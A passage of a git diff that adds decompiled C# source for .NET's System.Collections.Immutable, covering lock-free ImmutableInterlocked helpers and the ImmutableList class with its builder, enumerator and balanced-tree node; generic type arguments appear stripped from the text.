[MaybeNullWhen(false)] out TValue value) where TKey : notnull + { + ImmutableDictionary immutableDictionary = Volatile.Read(in location); + bool flag; + do + { + Requires.NotNull(immutableDictionary, "location"); + if (!immutableDictionary.TryGetValue(key, out value)) + { + return false; + } + ImmutableDictionary value2 = immutableDictionary.Remove(key); + ImmutableDictionary immutableDictionary2 = Interlocked.CompareExchange(ref location, value2, immutableDictionary); + flag = immutableDictionary == immutableDictionary2; + immutableDictionary = immutableDictionary2; + } + while (!flag); + return true; + } + + public static bool TryPop(ref ImmutableStack location, [MaybeNullWhen(false)] out T value) + { + ImmutableStack immutableStack = Volatile.Read(in location); + bool flag; + do + { + Requires.NotNull(immutableStack, "location"); + if (immutableStack.IsEmpty) + { + value = default(T); + return false; + } + ImmutableStack value2 = immutableStack.Pop(out value); + ImmutableStack immutableStack2 = Interlocked.CompareExchange(ref location, value2, immutableStack); + flag = immutableStack == immutableStack2; + immutableStack = immutableStack2; + } + while (!flag); + return true; + } + + public static void Push(ref ImmutableStack location, T value) + { + ImmutableStack immutableStack = Volatile.Read(in location); + bool flag; + do + { + Requires.NotNull(immutableStack, "location"); + ImmutableStack value2 = immutableStack.Push(value); + ImmutableStack immutableStack2 = Interlocked.CompareExchange(ref location, value2, immutableStack); + flag = immutableStack == immutableStack2; + immutableStack = immutableStack2; + } + while (!flag); + } + + public static bool TryDequeue(ref ImmutableQueue location, [MaybeNullWhen(false)] out T value) + { + ImmutableQueue immutableQueue = Volatile.Read(in location); + bool flag; + do + { + Requires.NotNull(immutableQueue, "location"); + if (immutableQueue.IsEmpty) + { + value = default(T); + return false; + } + ImmutableQueue value2 = immutableQueue.Dequeue(out value); + ImmutableQueue immutableQueue2 = Interlocked.CompareExchange(ref location, value2, immutableQueue); + flag = immutableQueue == immutableQueue2; + immutableQueue = immutableQueue2; + } + while (!flag); + return true; + } + + public static void Enqueue(ref ImmutableQueue location, T value) + { + ImmutableQueue immutableQueue = Volatile.Read(in location); + bool flag; + do + { + Requires.NotNull(immutableQueue, "location"); + ImmutableQueue value2 = immutableQueue.Enqueue(value); + ImmutableQueue immutableQueue2 = Interlocked.CompareExchange(ref location, value2, immutableQueue); + flag = immutableQueue == immutableQueue2; + immutableQueue = immutableQueue2; + } + while (!flag); + } +} diff --git a/decompiled/Libraries/system.collections.immutable/System.Collections.Immutable/ImmutableList.cs b/decompiled/Libraries/system.collections.immutable/System.Collections.Immutable/ImmutableList.cs new file mode 100644 index 0000000..86d4768 --- /dev/null +++ b/decompiled/Libraries/system.collections.immutable/System.Collections.Immutable/ImmutableList.cs @@ -0,0 +1,2233 @@ +using System.Collections.Generic; +using System.ComponentModel; +using System.Diagnostics; +using System.Diagnostics.CodeAnalysis; +using System.Linq; +using System.Runtime.CompilerServices; +using System.Threading; + +namespace System.Collections.Immutable; + +public static class ImmutableList +{ + public static ImmutableList Create() + { + return ImmutableList.Empty; + } + + public static ImmutableList Create(T item) + { + return ImmutableList.Empty.Add(item); + } + + public static ImmutableList CreateRange(IEnumerable items) + { + return ImmutableList.Empty.AddRange(items); + } + + public static ImmutableList Create(params T[] items) + { + return ImmutableList.Empty.AddRange(items); + } + + public static ImmutableList.Builder CreateBuilder() + { + return Create().ToBuilder(); + } + + public static ImmutableList ToImmutableList(this IEnumerable source) + { + if (source is ImmutableList result) + { + return result; + } + return ImmutableList.Empty.AddRange(source); + } + + public static ImmutableList ToImmutableList(this ImmutableList.Builder builder) + { + Requires.NotNull(builder, "builder"); + return builder.ToImmutable(); + } + + public static IImmutableList Replace(this IImmutableList list, T oldValue, T newValue) + { + Requires.NotNull(list, "list"); + return list.Replace(oldValue, newValue, EqualityComparer.Default); + } + + public static IImmutableList Remove(this IImmutableList list, T value) + { + Requires.NotNull(list, "list"); + return list.Remove(value, EqualityComparer.Default); + } + + public static IImmutableList RemoveRange(this IImmutableList list, IEnumerable items) + { + Requires.NotNull(list, "list"); + return list.RemoveRange(items, EqualityComparer.Default); + } + + public static int IndexOf(this IImmutableList list, T item) + { + Requires.NotNull(list, "list"); + return list.IndexOf(item, 0, list.Count, EqualityComparer.Default); + } + + public static int IndexOf(this IImmutableList list, T item, IEqualityComparer? equalityComparer) + { + Requires.NotNull(list, "list"); + return list.IndexOf(item, 0, list.Count, equalityComparer); + } + + public static int IndexOf(this IImmutableList list, T item, int startIndex) + { + Requires.NotNull(list, "list"); + return list.IndexOf(item, startIndex, list.Count - startIndex, EqualityComparer.Default); + } + + public static int IndexOf(this IImmutableList list, T item, int startIndex, int count) + { + Requires.NotNull(list, "list"); + return list.IndexOf(item, startIndex, count, EqualityComparer.Default); + } + + public static int LastIndexOf(this IImmutableList list, T item) + { + Requires.NotNull(list, "list"); + if (list.Count == 0) + { + return -1; + } + return list.LastIndexOf(item, list.Count - 1, list.Count, EqualityComparer.Default); + } + + public static int LastIndexOf(this IImmutableList list, T item, IEqualityComparer? equalityComparer) + { + Requires.NotNull(list, "list"); + if (list.Count == 0) + { + return -1; + } + return list.LastIndexOf(item, list.Count - 1, list.Count, equalityComparer); + } + + public static int LastIndexOf(this IImmutableList list, T item, int startIndex) + { + Requires.NotNull(list, "list"); + if (list.Count == 0 && startIndex == 0) + { + return -1; + } + return list.LastIndexOf(item, startIndex, startIndex + 1, EqualityComparer.Default); + } + + public static int LastIndexOf(this IImmutableList list, T item, int startIndex, int count) + { + Requires.NotNull(list, "list"); + return list.LastIndexOf(item, startIndex, count, EqualityComparer.Default); + } +} +[DebuggerDisplay("Count = {Count}")] +[DebuggerTypeProxy(typeof(ImmutableEnumerableDebuggerProxy<>))] +public sealed class ImmutableList : IImmutableList, IReadOnlyList, IReadOnlyCollection, IEnumerable, IEnumerable, IList, ICollection, IList, ICollection, IOrderedCollection, IImmutableListQueries, IStrongEnumerable.Enumerator> +{ + [DebuggerDisplay("Count = {Count}")] + [DebuggerTypeProxy(typeof(ImmutableListBuilderDebuggerProxy<>))] + public sealed class Builder : IList, ICollection, IEnumerable, IEnumerable, IList, ICollection, IOrderedCollection, IImmutableListQueries, IReadOnlyList, IReadOnlyCollection + { + private Node _root = Node.EmptyNode; + + private ImmutableList _immutable; + + private int _version; + + private object _syncRoot; + + public int Count => Root.Count; + + bool ICollection.IsReadOnly => false; + + internal int Version => _version; + + internal Node Root + { + get + { + return _root; + } + private set + { + _version++; + if (_root != value) + { + _root = value; + _immutable = null; + } + } + } + + public T this[int index] + { + get + { + return Root.ItemRef(index); + } + set + { + Root = Root.ReplaceAt(index, value); + } + } + + T IOrderedCollection.this[int index] => this[index]; + + bool IList.IsFixedSize => false; + + bool IList.IsReadOnly => false; + + object? IList.this[int index] + { + get + { + return this[index]; + } + set + { + this[index] = (T)value; + } + } + + [DebuggerBrowsable(DebuggerBrowsableState.Never)] + bool ICollection.IsSynchronized => false; + + [DebuggerBrowsable(DebuggerBrowsableState.Never)] + object ICollection.SyncRoot + { + get + { + if (_syncRoot == null) + { + Interlocked.CompareExchange(ref _syncRoot, new object(), (object)null); + } + return _syncRoot; + } + } + + internal Builder(ImmutableList list) + { + Requires.NotNull(list, "list"); + _root = list._root; + _immutable = list; + } + + public ref readonly T ItemRef(int index) + { + return ref Root.ItemRef(index); + } + + public int IndexOf(T item) + { + return Root.IndexOf(item, EqualityComparer.Default); + } + + public void Insert(int index, T item) + { + Root = Root.Insert(index, item); + } + + public void RemoveAt(int index) + { + Root = Root.RemoveAt(index); + } + + public void Add(T item) + { + Root = Root.Add(item); + } + + public void Clear() + { + Root = Node.EmptyNode; + } + + public bool Contains(T item) + { + return IndexOf(item) >= 0; + } + + public bool Remove(T item) + { + int num = IndexOf(item); + if (num < 0) + { + return false; + } + Root = Root.RemoveAt(num); + return true; + } + + public ImmutableList.Enumerator GetEnumerator() + { + return Root.GetEnumerator(this); + } + + IEnumerator IEnumerable.GetEnumerator() + { + return GetEnumerator(); + } + + IEnumerator IEnumerable.GetEnumerator() + { + return GetEnumerator(); + } + + public void ForEach(Action action) + { + Requires.NotNull(action, "action"); + using Enumerator enumerator = GetEnumerator(); + while (enumerator.MoveNext()) + { + T current = enumerator.Current; + action(current); + } + } + + public void CopyTo(T[] array) + { + _root.CopyTo(array); + } + + public void CopyTo(T[] array, int arrayIndex) + { + _root.CopyTo(array, arrayIndex); + } + + public void CopyTo(int index, T[] array, int arrayIndex, int count) + { + _root.CopyTo(index, array, arrayIndex, count); + } + + public ImmutableList GetRange(int index, int count) + { + Requires.Range(index >= 0, "index"); + Requires.Range(count >= 0, "count"); + Requires.Range(index + count <= Count, "count"); + return ImmutableList.WrapNode(Node.NodeTreeFromList(this, index, count)); + } + + public ImmutableList ConvertAll(Func converter) + { + Requires.NotNull(converter, "converter"); + return ImmutableList.WrapNode(_root.ConvertAll(converter)); + } + + public bool Exists(Predicate match) + { + return _root.Exists(match); + } + + public T? Find(Predicate match) + { + return _root.Find(match); + } + + public ImmutableList FindAll(Predicate match) + { + return _root.FindAll(match); + } + + public int FindIndex(Predicate match) + { + return _root.FindIndex(match); + } + + public int FindIndex(int startIndex, Predicate match) + { + return _root.FindIndex(startIndex, match); + } + + public int FindIndex(int startIndex, int count, Predicate match) + { + return _root.FindIndex(startIndex, count, match); + } + + public T? FindLast(Predicate match) + { + return _root.FindLast(match); + } + + public int FindLastIndex(Predicate match) + { + return _root.FindLastIndex(match); + } + + public int FindLastIndex(int startIndex, Predicate match) + { + return _root.FindLastIndex(startIndex, match); + } + + public int FindLastIndex(int startIndex, int count, Predicate match) + { + return _root.FindLastIndex(startIndex, count, match); + } + + public int IndexOf(T item, int index) + { + return _root.IndexOf(item, index, Count - index, EqualityComparer.Default); + } + + public int IndexOf(T item, int index, int count) + { + return _root.IndexOf(item, index, count, EqualityComparer.Default); + } + + public int IndexOf(T item, int index, int count, IEqualityComparer? equalityComparer) + { + return _root.IndexOf(item, index, count, equalityComparer); + } + + public int LastIndexOf(T item) + { + if (Count == 0) + { + return -1; + } + return _root.LastIndexOf(item, Count - 1, Count, EqualityComparer.Default); + } + + public int LastIndexOf(T item, int startIndex) + { + if (Count == 0 && startIndex == 0) + { + return -1; + } + return _root.LastIndexOf(item, startIndex, startIndex + 1, EqualityComparer.Default); + } + + public int LastIndexOf(T item, int startIndex, int count) + { + return _root.LastIndexOf(item, startIndex, count, EqualityComparer.Default); + } + + public int LastIndexOf(T item, int startIndex, int count, IEqualityComparer? equalityComparer) + { + return _root.LastIndexOf(item, startIndex, count, equalityComparer); + } + + public bool TrueForAll(Predicate match) + { + return _root.TrueForAll(match); + } + + public void AddRange(IEnumerable items) + { + Requires.NotNull(items, "items"); + Root = Root.AddRange(items); + } + + public void InsertRange(int index, IEnumerable items) + { + Requires.Range(index >= 0 && index <= Count, "index"); + Requires.NotNull(items, "items"); + Root = Root.InsertRange(index, items); + } + + public int RemoveAll(Predicate match) + { + Requires.NotNull(match, "match"); + int count = Count; + Root = Root.RemoveAll(match); + return count - Count; + } + + public bool Remove(T item, IEqualityComparer? equalityComparer) + { + int num = IndexOf(item, 0, Count, equalityComparer); + if (num >= 0) + { + RemoveAt(num); + return true; + } + return false; + } + + public void RemoveRange(int index, int count) + { + Requires.Range(index >= 0 && index <= Count, "index"); + Requires.Range(count >= 0 && index + count <= Count, "count"); + int num = count; + while (num-- > 0) + { + RemoveAt(index); + } + } + + public void RemoveRange(IEnumerable items, IEqualityComparer? equalityComparer) + { + Requires.NotNull(items, "items"); + foreach (T item in items.GetEnumerableDisposable()) + { + int num = Root.IndexOf(item, equalityComparer); + if (num >= 0) + { + RemoveAt(num); + } + } + } + + public void RemoveRange(IEnumerable items) + { + RemoveRange(items, EqualityComparer.Default); + } + + public void Replace(T oldValue, T newValue) + { + Replace(oldValue, newValue, EqualityComparer.Default); + } + + public void Replace(T oldValue, T newValue, IEqualityComparer? equalityComparer) + { + int num = IndexOf(oldValue, 0, Count, equalityComparer); + if (num < 0) + { + throw new ArgumentException(System.SR.CannotFindOldValue, "oldValue"); + } + Root = Root.ReplaceAt(num, newValue); + } + + public void Reverse() + { + Reverse(0, Count); + } + + public void Reverse(int index, int count) + { + Requires.Range(index >= 0, "index"); + Requires.Range(count >= 0, "count"); + Requires.Range(index + count <= Count, "count"); + Root = Root.Reverse(index, count); + } + + public void Sort() + { + Root = Root.Sort(); + } + + public void Sort(Comparison comparison) + { + Requires.NotNull(comparison, "comparison"); + Root = Root.Sort(comparison); + } + + public void Sort(IComparer? comparer) + { + Root = Root.Sort(comparer); + } + + public void Sort(int index, int count, IComparer? comparer) + { + Requires.Range(index >= 0, "index"); + Requires.Range(count >= 0, "count"); + Requires.Range(index + count <= Count, "count"); + Root = Root.Sort(index, count, comparer); + } + + public int BinarySearch(T item) + { + return BinarySearch(item, null); + } + + public int BinarySearch(T item, IComparer? comparer) + { + return BinarySearch(0, Count, item, comparer); + } + + public int BinarySearch(int index, int count, T item, IComparer? comparer) + { + return Root.BinarySearch(index, count, item, comparer); + } + + public ImmutableList ToImmutable() + { + return _immutable ?? (_immutable = ImmutableList.WrapNode(Root)); + } + + int IList.Add(object value) + { + Add((T)value); + return Count - 1; + } + + void IList.Clear() + { + Clear(); + } + + bool IList.Contains(object value) + { + if (ImmutableList.IsCompatibleObject(value)) + { + return Contains((T)value); + } + return false; + } + + int IList.IndexOf(object value) + { + if (ImmutableList.IsCompatibleObject(value)) + { + return IndexOf((T)value); + } + return -1; + } + + void IList.Insert(int index, object value) + { + Insert(index, (T)value); + } + + void IList.Remove(object value) + { + if (ImmutableList.IsCompatibleObject(value)) + { + Remove((T)value); + } + } + + void ICollection.CopyTo(Array array, int arrayIndex) + { + Root.CopyTo(array, arrayIndex); + } + } + + [EditorBrowsable(EditorBrowsableState.Advanced)] + public struct Enumerator : IEnumerator, IDisposable, IEnumerator, ISecurePooledObjectUser, IStrongEnumerator + { + private readonly Builder _builder; + + private readonly int _poolUserId; + + private readonly int _startIndex; + + private readonly int _count; + + private int _remainingCount; + + private readonly bool _reversed; + + private Node _root; + + private SecurePooledObject>> _stack; + + private Node _current; + + private int _enumeratingBuilderVersion; + + int ISecurePooledObjectUser.PoolUserId => _poolUserId; + + public T Current + { + get + { + ThrowIfDisposed(); + if (_current != null) + { + return _current.Value; + } + throw new InvalidOperationException(); + } + } + + object? IEnumerator.Current => Current; + + internal Enumerator(Node root, Builder? builder = null, int startIndex = -1, int count = -1, bool reversed = false) + { + Requires.NotNull(root, "root"); + Requires.Range(startIndex >= -1, "startIndex"); + Requires.Range(count >= -1, "count"); + Requires.Argument(reversed || count == -1 || ((startIndex != -1) ? startIndex : 0) + count <= root.Count); + Requires.Argument(!reversed || count == -1 || ((startIndex == -1) ? (root.Count - 1) : startIndex) - count + 1 >= 0); + _root = root; + _builder = builder; + _current = null; + _startIndex = ((startIndex >= 0) ? startIndex : (reversed ? (root.Count - 1) : 0)); + _count = ((count == -1) ? root.Count : count); + _remainingCount = _count; + _reversed = reversed; + _enumeratingBuilderVersion = builder?.Version ?? (-1); + _poolUserId = SecureObjectPool.NewId(); + _stack = null; + if (_count > 0) + { + if (!SecureObjectPool>, Enumerator>.TryTake(this, out _stack)) + { + _stack = SecureObjectPool>, Enumerator>.PrepNew(this, new Stack>(root.Height)); + } + ResetStack(); + } + } + + public void Dispose() + { + _root = null; + _current = null; + if (_stack != null && _stack.TryUse(ref this, out var value)) + { + value.ClearFastWhenEmpty(); + SecureObjectPool>, Enumerator>.TryAdd(this, _stack); + } + _stack = null; + } + + public bool MoveNext() + { + ThrowIfDisposed(); + ThrowIfChanged(); + if (_stack != null) + { + Stack> stack = _stack.Use(ref this); + if (_remainingCount > 0 && stack.Count > 0) + { + PushNext(NextBranch(_current = stack.Pop().Value)); + _remainingCount--; + return true; + } + } + _current = null; + return false; + } + + public void Reset() + { + ThrowIfDisposed(); + _enumeratingBuilderVersion = ((_builder != null) ? _builder.Version : (-1)); + _remainingCount = _count; + if (_stack != null) + { + ResetStack(); + } + } + + private void ResetStack() + { + Stack> stack = _stack.Use(ref this); + stack.ClearFastWhenEmpty(); + Node node = _root; + int num = (_reversed ? (_root.Count - _startIndex - 1) : _startIndex); + while (!node.IsEmpty && num != PreviousBranch(node).Count) + { + if (num < PreviousBranch(node).Count) + { + stack.Push(new RefAsValueType(node)); + node = PreviousBranch(node); + } + else + { + num -= PreviousBranch(node).Count + 1; + node = NextBranch(node); + } + } + if (!node.IsEmpty) + { + stack.Push(new RefAsValueType(node)); + } + } + + private Node NextBranch(Node node) + { + if (!_reversed) + { + return node.Right; + } + return node.Left; + } + + private Node PreviousBranch(Node node) + { + if (!_reversed) + { + return node.Left; + } + return node.Right; + } + + private void ThrowIfDisposed() + { + if (_root == null || (_stack != null && !_stack.IsOwned(ref this))) + { + Requires.FailObjectDisposed(this); + } + } + + private void ThrowIfChanged() + { + if (_builder != null && _builder.Version != _enumeratingBuilderVersion) + { + throw new InvalidOperationException(System.SR.CollectionModifiedDuringEnumeration); + } + } + + private void PushNext(Node node) + { + Requires.NotNull(node, "node"); + if (!node.IsEmpty) + { + Stack> stack = _stack.Use(ref this); + while (!node.IsEmpty) + { + stack.Push(new RefAsValueType(node)); + node = PreviousBranch(node); + } + } + } + } + + [DebuggerDisplay("{_key}")] + internal sealed class Node : IBinaryTree, IBinaryTree, IEnumerable, IEnumerable + { + internal static readonly Node EmptyNode = new Node(); + + private T _key; + + private bool _frozen; + + private byte _height; + + private int _count; + + private Node _left; + + private Node _right; + + public bool IsEmpty => _left == null; + + public int Height => _height; + + public Node? Left => _left; + + IBinaryTree? IBinaryTree.Left => _left; + + public Node? Right => _right; + + IBinaryTree? IBinaryTree.Right => _right; + + IBinaryTree? IBinaryTree.Left => _left; + + IBinaryTree? IBinaryTree.Right => _right; + + public T Value => _key; + + public int Count => _count; + + internal T Key => _key; + + internal T this[int index] + { + get + { + Requires.Range(index >= 0 && index < Count, "index"); + if (index < _left._count) + { + return _left[index]; + } + if (index > _left._count) + { + return _right[index - _left._count - 1]; + } + return _key; + } + } + + private int BalanceFactor => _right._height - _left._height; + + private bool IsRightHeavy => BalanceFactor >= 2; + + private bool IsLeftHeavy => BalanceFactor <= -2; + + private bool IsBalanced => (uint)(BalanceFactor + 1) <= 2u; + + private Node() + { + _frozen = true; + } + + private Node(T key, Node left, Node right, bool frozen = false) + { + Requires.NotNull(left, "left"); + Requires.NotNull(right, "right"); + _key = key; + _left = left; + _right = right; + _height = ParentHeight(left, right); + _count = ParentCount(left, right); + _frozen = frozen; + } + + internal ref readonly T ItemRef(int index) + { + Requires.Range(index >= 0 && index < Count, "index"); + return ref ItemRefUnchecked(index); + } + + private ref readonly T ItemRefUnchecked(int index) + { + if (index < _left._count) + { + return ref _left.ItemRefUnchecked(index); + } + if (index > _left._count) + { + return ref _right.ItemRefUnchecked(index - _left._count - 1); + } + return ref _key; + } + + public Enumerator GetEnumerator() + { + return new Enumerator(this); + } + + [ExcludeFromCodeCoverage] + IEnumerator IEnumerable.GetEnumerator() + { + return GetEnumerator(); + } + + [ExcludeFromCodeCoverage] + IEnumerator IEnumerable.GetEnumerator() + { + return GetEnumerator(); + } + + internal Enumerator GetEnumerator(Builder builder) + { + return new Enumerator(this, builder); + } + + internal static Node NodeTreeFromList(IOrderedCollection items, int start, int length) + { + Requires.NotNull(items, "items"); + Requires.Range(start >= 0, "start"); + Requires.Range(length >= 0, "length"); + if (length == 0) + { + return EmptyNode; + } + int num = (length - 1) / 2; + int num2 = length - 1 - num; + Node left = NodeTreeFromList(items, start, num2); + Node right = NodeTreeFromList(items, start + num2 + 1, num); + return new Node(items[start + num2], left, right, frozen: true); + } + + internal Node Add(T key) + { + if (IsEmpty) + { + return CreateLeaf(key); + } + Node right = _right.Add(key); + Node node = MutateRight(right); + if (!node.IsBalanced) + { + return node.BalanceRight(); + } + return node; + } + + internal Node Insert(int index, T key) + { + Requires.Range(index >= 0 && index <= Count, "index"); + if (IsEmpty) + { + return CreateLeaf(key); + } + if (index <= _left._count) + { + Node left = _left.Insert(index, key); + Node node = MutateLeft(left); + if (!node.IsBalanced) + { + return node.BalanceLeft(); + } + return node; + } + Node right = _right.Insert(index - _left._count - 1, key); + Node node2 = MutateRight(right); + if (!node2.IsBalanced) + { + return node2.BalanceRight(); + } + return node2; + } + + internal Node AddRange(IEnumerable keys) + { + Requires.NotNull(keys, "keys"); + if (IsEmpty) + { + return CreateRange(keys); + } + Node right = _right.AddRange(keys); + Node node = MutateRight(right); + return node.BalanceMany(); + } + + internal Node InsertRange(int index, IEnumerable keys) + { + Requires.Range(index >= 0 && index <= Count, "index"); + Requires.NotNull(keys, "keys"); + if (IsEmpty) + { + return CreateRange(keys); + } + Node node; + if (index <= _left._count) + { + Node left = _left.InsertRange(index, keys); + node = MutateLeft(left); + } + else + { + Node right = _right.InsertRange(index - _left._count - 1, keys); + node = MutateRight(right); + } + return node.BalanceMany(); + } + + internal Node RemoveAt(int index) + { + Requires.Range(index >= 0 && index < Count, "index"); + Node node; + if (index == _left._count) + { + if (_right.IsEmpty && _left.IsEmpty) + { + node = EmptyNode; + } + else if (_right.IsEmpty && !_left.IsEmpty) + { + node = _left; + } + else if (!_right.IsEmpty && _left.IsEmpty) + { + node = _right; + } + else + { + Node node2 = _right; + while (!node2._left.IsEmpty) + { + node2 = node2._left; + } + Node right = _right.RemoveAt(0); + node = node2.MutateBoth(_left, right); + } + } + else if (index < _left._count) + { + Node left = _left.RemoveAt(index); + node = MutateLeft(left); + } + else + { + Node right2 = _right.RemoveAt(index - _left._count - 1); + node = MutateRight(right2); + } + if (!node.IsEmpty && !node.IsBalanced) + { + return node.Balance(); + } + return node; + } + + internal Node RemoveAll(Predicate match) + { + Requires.NotNull(match, "match"); + Node node = this; + Enumerator enumerator = new Enumerator(node); + try + { + int num = 0; + while (enumerator.MoveNext()) + { + if (match(enumerator.Current)) + { + node = node.RemoveAt(num); + enumerator.Dispose(); + enumerator = new Enumerator(node, null, num); + } + else + { + num++; + } + } + return node; + } + finally + { + enumerator.Dispose(); + } + } + + internal Node ReplaceAt(int index, T value) + { + Requires.Range(index >= 0 && index < Count, "index"); + if (index == _left._count) + { + return MutateKey(value); + } + if (index < _left._count) + { + Node left = _left.ReplaceAt(index, value); + return MutateLeft(left); + } + Node right = _right.ReplaceAt(index - _left._count - 1, value); + return MutateRight(right); + } + + internal Node Reverse() + { + return Reverse(0, Count); + } + + internal Node Reverse(int index, int count) + { + Requires.Range(index >= 0, "index"); + Requires.Range(count >= 0, "count"); + Requires.Range(index + count <= Count, "index"); + Node node = this; + int num = index; + int num2 = index + count - 1; + while (num < num2) + { + T value = node.ItemRef(num); + T value2 = node.ItemRef(num2); + node = node.ReplaceAt(num2, value).ReplaceAt(num, value2); + num++; + num2--; + } + return node; + } + + internal Node Sort() + { + return Sort(Comparer.Default); + } + + internal Node Sort(Comparison comparison) + { + Requires.NotNull(comparison, "comparison"); + T[] array = new T[Count]; + CopyTo(array); + Array.Sort(array, comparison); + return NodeTreeFromList(array.AsOrderedCollection(), 0, Count); + } + + internal Node Sort(IComparer? comparer) + { + return Sort(0, Count, comparer); + } + + internal Node Sort(int index, int count, IComparer? comparer) + { + Requires.Range(index >= 0, "index"); + Requires.Range(count >= 0, "count"); + Requires.Argument(index + count <= Count); + T[] array = new T[Count]; + CopyTo(array); + Array.Sort(array, index, count, comparer); + return NodeTreeFromList(array.AsOrderedCollection(), 0, Count); + } + + internal int BinarySearch(int index, int count, T item, IComparer? comparer) + { + Requires.Range(index >= 0, "index"); + Requires.Range(count >= 0, "count"); + if (comparer == null) + { + comparer = Comparer.Default; + } + if (IsEmpty || count <= 0) + { + return ~index; + } + int count2 = _left.Count; + if (index + count <= count2) + { + return _left.BinarySearch(index, count, item, comparer); + } + if (index > count2) + { + int num = _right.BinarySearch(index - count2 - 1, count, item, comparer); + int num2 = count2 + 1; + if (num >= 0) + { + return num + num2; + } + return num - num2; + } + int num3 = comparer.Compare(item, _key); + if (num3 == 0) + { + return count2; + } + if (num3 > 0) + { + int num4 = count - (count2 - index) - 1; + int num5 = ((num4 < 0) ? (-1) : _right.BinarySearch(0, num4, item, comparer)); + int num6 = count2 + 1; + if (num5 >= 0) + { + return num5 + num6; + } + return num5 - num6; + } + if (index == count2) + { + return ~index; + } + return _left.BinarySearch(index, count, item, comparer); + } + + internal int IndexOf(T item, IEqualityComparer? equalityComparer) + { + return IndexOf(item, 0, Count, equalityComparer); + } + + internal bool Contains(T item, IEqualityComparer equalityComparer) + { + return Contains(this, item, equalityComparer); + } + + internal int IndexOf(T item, int index, int count, IEqualityComparer? equalityComparer) + { + Requires.Range(index >= 0, "index"); + Requires.Range(count >= 0, "count"); + Requires.Range(count <= Count, "count"); + Requires.Range(index + count <= Count, "count"); + if (equalityComparer == null) + { + equalityComparer = EqualityComparer.Default; + } + using (Enumerator enumerator = new Enumerator(this, null, index, count)) + { + while (enumerator.MoveNext()) + { + if (equalityComparer.Equals(item, enumerator.Current)) + { + return index; + } + index++; + } + } + return -1; + } + + internal int LastIndexOf(T item, int index, int count, IEqualityComparer? equalityComparer) + { + Requires.Range(index >= 0, "index"); + Requires.Range(count >= 0 && count <= Count, "count"); + Requires.Argument(index - count + 1 >= 0); + if (equalityComparer == null) + { + equalityComparer = EqualityComparer.Default; + } + using (Enumerator enumerator = new Enumerator(this, null, index, count, reversed: true)) + { + while (enumerator.MoveNext()) + { + if (equalityComparer.Equals(item, enumerator.Current)) + { + return index; + } + index--; + } + } + return -1; + } + + internal void CopyTo(T[] array) + { + Requires.NotNull(array, "array"); + Requires.Range(array.Length >= Count, "array"); + int num = 0; + using Enumerator enumerator = GetEnumerator(); + while (enumerator.MoveNext()) + { + T current = enumerator.Current; + array[num++] = current; + } + } + + internal void CopyTo(T[] array, int arrayIndex) + { + Requires.NotNull(array, "array"); + Requires.Range(arrayIndex >= 0, "arrayIndex"); + Requires.Range(array.Length >= arrayIndex + Count, "arrayIndex"); + using Enumerator enumerator = GetEnumerator(); + while (enumerator.MoveNext()) + { + T current = enumerator.Current; + array[arrayIndex++] = current; + } + } + + internal void CopyTo(int index, T[] array, int arrayIndex, int count) + { + Requires.NotNull(array, "array"); + Requires.Range(index >= 0, "index"); + Requires.Range(count >= 0, "count"); + Requires.Range(index + count <= Count, "count"); + Requires.Range(arrayIndex >= 0, "arrayIndex"); + Requires.Range(arrayIndex + count <= array.Length, "arrayIndex"); + using Enumerator enumerator = new Enumerator(this, null, index, count); + while (enumerator.MoveNext()) + { + array[arrayIndex++] = enumerator.Current; + } + } + + internal void CopyTo(Array array, int arrayIndex) + { + Requires.NotNull(array, "array"); + Requires.Range(arrayIndex >= 0, "arrayIndex"); + Requires.Range(array.Length >= arrayIndex + Count, "arrayIndex"); + using Enumerator enumerator = GetEnumerator(); + while (enumerator.MoveNext()) + { + T current = enumerator.Current; + array.SetValue(current, arrayIndex++); + } + } + + internal ImmutableList.Node ConvertAll(Func converter) + { + ImmutableList.Node emptyNode = ImmutableList.Node.EmptyNode; + if (IsEmpty) + { + return emptyNode; + } + return emptyNode.AddRange(this.Select(converter)); + } + + internal bool TrueForAll(Predicate match) + { + Requires.NotNull(match, "match"); + using (Enumerator enumerator = GetEnumerator()) + { + while (enumerator.MoveNext()) + { + T current = enumerator.Current; + if (!match(current)) + { + return false; + } + } + } + return true; + } + + internal bool Exists(Predicate match) + { + Requires.NotNull(match, "match"); + using (Enumerator enumerator = GetEnumerator()) + { + while (enumerator.MoveNext()) + { + T current = enumerator.Current; + if (match(current)) + { + return true; + } + } + } + return false; + } + + internal T? Find(Predicate match) + { + Requires.NotNull(match, "match"); + using (Enumerator enumerator = GetEnumerator()) + { + while (enumerator.MoveNext()) + { + T current = enumerator.Current; + if (match(current)) + { + return current; + } + } + } + return default(T); + } + + internal ImmutableList FindAll(Predicate match) + { + Requires.NotNull(match, "match"); + if (IsEmpty) + { + return ImmutableList.Empty; + } + List list = null; + using (Enumerator enumerator = GetEnumerator()) + { + while (enumerator.MoveNext()) + { + T current = enumerator.Current; + if (match(current)) + { + if (list == null) + { + list = new List(); + } + list.Add(current); + } + } + } + if (list == null) + { + return ImmutableList.Empty; + } + return ImmutableList.CreateRange(list); + } + + internal int FindIndex(Predicate match) + { + Requires.NotNull(match, "match"); + return FindIndex(0, _count, match); + } + + internal int FindIndex(int startIndex, Predicate match) + { + Requires.NotNull(match, "match"); + Requires.Range(startIndex >= 0 && startIndex <= Count, "startIndex"); + return FindIndex(startIndex, Count - startIndex, match); + } + + internal int FindIndex(int startIndex, int count, Predicate match) + { + Requires.NotNull(match, "match"); + Requires.Range(startIndex >= 0, "startIndex"); + Requires.Range(count >= 0, "count"); + Requires.Range(startIndex + count <= Count, "count"); + using (Enumerator enumerator = new Enumerator(this, null, startIndex, count)) + { + int num = startIndex; + while (enumerator.MoveNext()) + { + if (match(enumerator.Current)) + { + return num; + } + num++; + } + } + return -1; + } + + internal T? FindLast(Predicate match) + { + Requires.NotNull(match, "match"); + using (Enumerator enumerator = new Enumerator(this, null, -1, -1, reversed: true)) + { + while (enumerator.MoveNext()) + { + if (match(enumerator.Current)) + { + return enumerator.Current; + } + } + } + return default(T); + } + + internal int FindLastIndex(Predicate match) + { + Requires.NotNull(match, "match"); + if (!IsEmpty) + { + return FindLastIndex(Count - 1, Count, match); + } + return -1; + } + + internal int FindLastIndex(int startIndex, Predicate match) + { + Requires.NotNull(match, "match"); + Requires.Range(startIndex >= 0, "startIndex"); + Requires.Range(startIndex == 0 || startIndex < Count, "startIndex"); + if (!IsEmpty) + { + return FindLastIndex(startIndex, startIndex + 1, match); + } + return -1; + } + + internal int FindLastIndex(int startIndex, int count, Predicate match) + { + Requires.NotNull(match, "match"); + Requires.Range(startIndex >= 0, "startIndex"); + Requires.Range(count <= Count, "count"); + Requires.Range(startIndex - count + 1 >= 0, 